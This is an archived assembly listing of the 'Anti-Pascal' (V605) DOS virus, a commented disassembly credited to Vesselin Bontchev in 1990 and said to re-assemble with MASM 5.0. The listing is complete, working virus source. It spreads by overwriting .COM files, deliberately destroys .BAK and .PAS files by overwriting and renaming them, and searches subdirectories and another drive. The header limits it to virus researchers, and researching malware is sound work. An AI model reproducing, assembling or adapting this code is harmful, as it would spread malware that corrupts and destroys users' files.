HPAVC/HPAVC CD-ROM.iso/ASM-A.ZIP/AP-605.ASM

Assembly Source File | 1990-06-08 | 10KB | 391 lines

    page    ,132
    name    V605
    title    V605 - The 'Anti-Pascal' Virus
    .radix    16

; ╔══════════════════════════════════════════════════════════════════════════╗
; ║  Bulgaria, 1404 Sofia, kv. "Emil Markov", bl. 26, vh. "W", et. 5, ap. 51 ║
; ║  Telephone: Private: [phone], Office: [phone] ext. 255         ║
; ║                                         ║
; ║                 The 'Anti-Pascal' Virus                         ║
; ║           Disassembled by Vesselin Bontchev, June 1990          ║
; ║                                         ║
; ║            Copyright (c) Vesselin Bontchev 1989, 1990             ║
; ║                                         ║
; ║     This listing is only to be made available to virus researchers      ║
; ║           or software writers on a need-to-know basis.          ║
; ╚══════════════════════════════════════════════════════════════════════════╝

; The disassembly has been tested by re-assembly using MASM 5.0.

code    segment
    assume    cs:code,ds:code

    org    100

vlen    =    v_end-start
crit    equ    12

start:
    push    ax        ; Save registers used
    push    cx
    push    si
    push    di
    push    bx
    push    flen        ; Save current file length

; The operand of the instruction above is used as a signature by the virus

sign    equ    $-2

    jmp    v_start     ; Go to virus start

flen    dw    vlen        ; File length before infection
fmask    db    '*.'            ; Mask for FindFirst/FindNext
fext    db    'com', 0        ; The extension part of the file mask
parent    db    '..', 0         ; Path for changing to the parent dir

com    db    'com'           ; File extensions used
bak    db    'bak'
pas    db    'pas'
wild    db    '???'
exe    db    'exe'

dta    equ    $        ; Disk Transfer Address area
drive    db    ?        ;Drive to search for
pattern db    11d dup (?)    ;Search pattern
reserve db    9 dup (?)    ;Not used
attrib    db    ?        ;File attribute
time    dw    ?        ;File time
date    dw    ?        ;File date
fsize    dd    ?        ;File size
namez    db    14d dup (?)    ;File name found

counter db    ?
mem_seg dw    ?        ; Segment of the allocated I/O buffer
sizehld dw    ?        ; Size holder

v_start:
    mov    counter,2    ; Set initial counter value
    mov    bx,1000     ; Shrink program memory size to 64 K
    mov    ah,4A
    int    21        ; Do it

    mov    ah,48        ; Allocate I/O buffer in memory
    mov    bx,vlen/16d+1    ;  (at least vlen long)
    int    21        ; Do it
    jc    cleanup     ; Exit on error
    mov    mem_seg,ax    ; Save the segment of the allocated memory

    mov    ax,2524     ; Set critical error handler
    mov    dx,offset int_24
    int    21        ; Do it

    mov    ah,1A        ; Set new DTA area
    mov    dx,offset dta
    int    21        ; Do it

    mov    ah,19        ; Get default drive
    int    21
    push    ax        ; Save it on stack

    call    infect        ; Proceed with infection
    jc    cleanup     ; Exit on error

    int    11        ; Put equipment bits in ax
    test    ax,1        ; Diskette drives present?
    jz    cleanup     ; Exit if not (?!)

    shl    ax,1        ; Get number of floppy disk drives
    shl    ax,1        ;  in AH (0-3 means 1-4 drives)
    and    ah,3

    add    ah,2        ; Convert the number of drives to
    mov    al,ah        ;  the range 2-5 and put it into BL
    mov    bx,ax
    xor    bh,bh

    cmp    bl,3        ; More than 2 floppy drives?
    ja    many        ; Check if the highest one is removable if so
    mov    bl,3        ; Otherwise check disk D:
many:
    mov    ax,4408     ; Check whether device is removable
    int    21
    jc    cleanup     ; Exit on error (network)
    or    ax,ax        ; Is device removable?
    jz    cleanup     ; Exit if so

    mov    dl,bl        ; Otherwise select it as default
    mov    ah,0E
    int    21        ; Do it

    call    infect        ; Proceed with this drive also

cleanup:
    pop    dx        ; Restore saved default disk from stack
    mov    ah,0E        ; Set default drive
    int    21        ; Do it

    pop    flen        ; Restore flen

    mov    es,mem_seg    ; Free allocated memory
    mov    ah,49
    int    21        ; Do it

    mov    ah,4A        ; Get all the available memory
    push    ds        ; ES := DS
    pop    es
    mov    bx,-1
    int    21        ; Do it

    mov    ah,4A        ; Assign it to the program (the initial state)
    int    21        ; Do it

    mov    dx,80        ; Restore old DTA
    mov    ah,1A
    int    21        ; Do it

    mov    ax,2524     ; Restore old critical error handler
    push    ds        ; Save DS
    lds    dx,dword ptr ds:[crit]
    int    21        ; Do it
    pop    ds        ; Restore DS

    pop    bx        ; Restore BX

    mov    ax,4F        ; Copy the program at exit_pgm into
    mov    es,ax        ;  the Intra-Aplication Communication
    xor    di,di        ;  Area (0000:04F0h)
    mov    si,offset exit_pgm
    mov    cx,pgm_end-exit_pgm    ; exit_pgm length
    cld
    rep    movsb        ; Do it
    mov    ax,ds        ; Correct the Far JMP instruction with
    stosw            ;  the current DS value

    mov    di,offset start ; Prepare for moving vlen bytes
    mov    si,flen     ;  from file end to start
    add    si,di
    mov    cx,vlen
    push    ds        ; ES := DS
    pop    es
;    jmp    far ptr 004F:0000    ; Go to exit_pgm
    db    0EA, 0, 0, 4F, 0

exit_pgm:
    rep    movsb        ; Restore the original bytes of the file
    pop    di        ; Restore registers used
    pop    si
    pop    cx
    pop    ax
    db    0EA, 0, 1    ; JMP Far at XXXX:0100
pgm_end equ    $

lseek:
    mov    ah,42
    xor    cx,cx        ; Offset := 0
    xor    dx,dx
    int    21        ; Do it
    ret            ; And exit

f_first:            ; Find first file with extension pointed by SI
    mov    di,offset fext    ; Point DI at extension part of fmask
    cld            ; Clear direction flag
    movsw            ; Copy the extension pointed by SI
    movsb            ;  to file mask for FindFirst/FindNext
    mov    ah,4E        ; Find first file matching fmask
    mov    cx,20        ; Normal files only
    mov    dx,offset fmask
    ret            ; Exit

wr_body:
    mov    ax,3D02     ; Open file for reading and writing
    mov    dx,offset namez ; FIle name is in namez
    int    21        ; Do it
    mov    bx,ax        ; Save handle in BX

    mov    ah,3F        ; Read the first vlen bytes of the file
    mov    cx,vlen     ;  in the allocated memory buffer
    push    ds        ; Save DS
    mov    ds,mem_seg
    xor    dx,dx
    int    21        ; Do it

    mov    ax,ds:[sign-start]    ; Get virus signature
    pop    ds        ; Restore DS
    cmp    ax,word ptr ds:[offset sign]    ; File already infected?
    je    is_inf        ; Exit if so
    push    ax        ; Save AX
    mov    al,0        ; Lseek to the file beginning
    call    lseek        ; Do it
    mov    ah,40        ; Write virus body over the
    mov    dx,offset start ;  first bytes of the file
    mov    cx,sizehld    ; Number of bytes to write
    int    21        ; Do it

    pop    ax        ; Restore AX
    dec    counter     ; Decrement counter
    clc            ; CF == 0 means infection successfully done
    ret            ; Exit
is_inf:
    stc            ; CF == 1 means file already infected
    ret            ; Exit

destroy:
    call    f_first     ; Find first file to detroy
f_next1:
    int    21        ; Do it
    jc    no_more1    ; Exit if no more files

    mov    ax,word ptr fsize    ; Get file size
    mov    sizehld,ax    ; And save it in sizehld
    call    wr_body     ; Write virus body over the file
    jc    close1        ; Exit on error
    mov    si,offset com    ; Change fmask to '*.COM'
    call    f_first     ; Do it
    mov    ah,56        ; Rename file just destroyed as a .COM one
    mov    di,dx
    mov    dx,offset namez ; File name to rename
    int    21        ; Do it

; The RENAME function call will fall if file with this name already exists.

    jnc    close1        ; Exit if all is OK

    mov    si,offset exe    ; Otherwise try to rename the file
    call    f_first     ;  as an .EXE one
    mov    ah,56
    int    21        ; Do it

close1:
    mov    ah,3E        ; Close the file handle
    int    21        ; Do it

    cmp    counter,0    ; Two files already infected?
    je    stop        ; Stop if so
    mov    ah,4F        ; Other wise proceed with the next file
    jmp    f_next1

; Here the returned error code in CF means:
;    0 - renaming unsuccessful
;    1 - renaming successful

stop:
    clc
no_more1:
    cmc            ; Complement CF (CF := not CF)
    ret

infect:
    mov    si,offset com    ; Find the first .COM file in this dir
    call    f_first
f_next2:
    int    21        ; Do it
    jc    do_damage    ; Do damage if no such files

    mov    ax,word ptr fsize    ; Check the size of the file found
    cmp    ax,vlen     ; Less than virus length?
    jb    close2        ; Too small, don't touch
    cmp    ax,0FFFF-vlen    ; Bigger than 64 K - vlen?
    ja    close2        ; Too big, don't touch
    mov    flen,ax     ; Save file length
    mov    sizehld,vlen
    call    wr_body     ; Write virus body over the file
    jc    close2        ; Exit on error
    cmp    ax,6F43     ; ?!
    je    close2
    mov    al,2        ; Lseek to file end
    call    lseek        ; Do it
    push    ds        ; Save DS
    mov    ds,mem_seg    ; Write the original bytes from
    mov    cx,vlen     ;  the file beginning after its end
    xor    dx,dx
    mov    ah,40
    int    21        ; Do it
    pop    ds        ; Restore DS

close2:
    mov    ah,3E        ; Close the file handle
    int    21        ; Do it

    mov    ah,4F        ; Prepare for FindNext
    cmp    counter,0    ; Two files already infected?
    jne    f_next2     ; Continue if not
    stc            ; Otherwise set CF to indicate error
err_xit:
    ret            ; And exit

do_damage:
    mov    si,offset bak    ; Try to "infect" and rename a .BAK file
    call    destroy     ; Do it
    jc    err_xit     ; Exit if "infection" successful
    mov    si,offset pas    ; Try to "infect" and rename a .PAS file
    call    destroy     ; Do it
    jc    err_xit     ; Exit if "infection" successful
    mov    si,offset wild    ; Otherwise perform a subdirectory scan
    call    f_first
    mov    cx,110111b    ; Find any ReadOnly/Hidden/System/Dir/Archive

f_next3:
    int    21        ; Do it
    jc    no_more2    ; Exit if no more
    mov    al,attrib    ; Check attributes of the file found
    test    al,10000b    ; Is it a directory?
    jz    bad_file    ; Skip it if not
    mov    di,offset namez ; Otherwise get its name
    cmp    byte ptr [di],'.'       ; "." or ".."?
    je    bad_file    ; Skip it if so
    mov    dx,di        ; Otherwise change to that subdirectory
    mov    ah,3Bh
    int    21        ; Do it

    mov    cx,16        ; Save the 44 bytes of dta on stack
    mov    si,offset dta    ; Point SI at the first word of dta
lp1:
    push    word ptr [si]    ; Push the current word
    add    si,2        ; Point SI at the next one
    loop    lp1        ; Loop until done

    call    infect        ; Preform infection on this subdirectory

    mov    cx,16        ; Restore the bytes pushed
    mov    si,offset counter-2    ; Point SI at the last word of dta
lp2:
    pop    word ptr [si]    ; Pop the current word from stack
    sub    si,2        ; Point SI at the previous word
    loop    lp2        ; Loop until done

    pushf            ; Save flags
    mov    dx,offset parent
    mov    ah,3Bh        ; Change to parent directory
    int    21        ; Do it
    popf            ; Restore flags
    jc    err_xit     ; Exit if infection done

bad_file:
    mov    ah,4F        ; Go find the next file
    jmp    f_next3

no_more2:
    clc            ; Return CF == 0 (no errors)
    ret            ; Exit

int_24:             ; Critical error handler
    mov    al,2        ; Abort suggested (?!)
    iret            ; Return

v_end    =    $

; Here goes the rest of the original program (if any):

; And here (after the  end of file) are the overwritten first 650 bytes:

    db    0E9, 55, 2
    db    597d dup (90)
    mov    ax,4C00     ; Program terminate
    int    21

code    ends
    end    start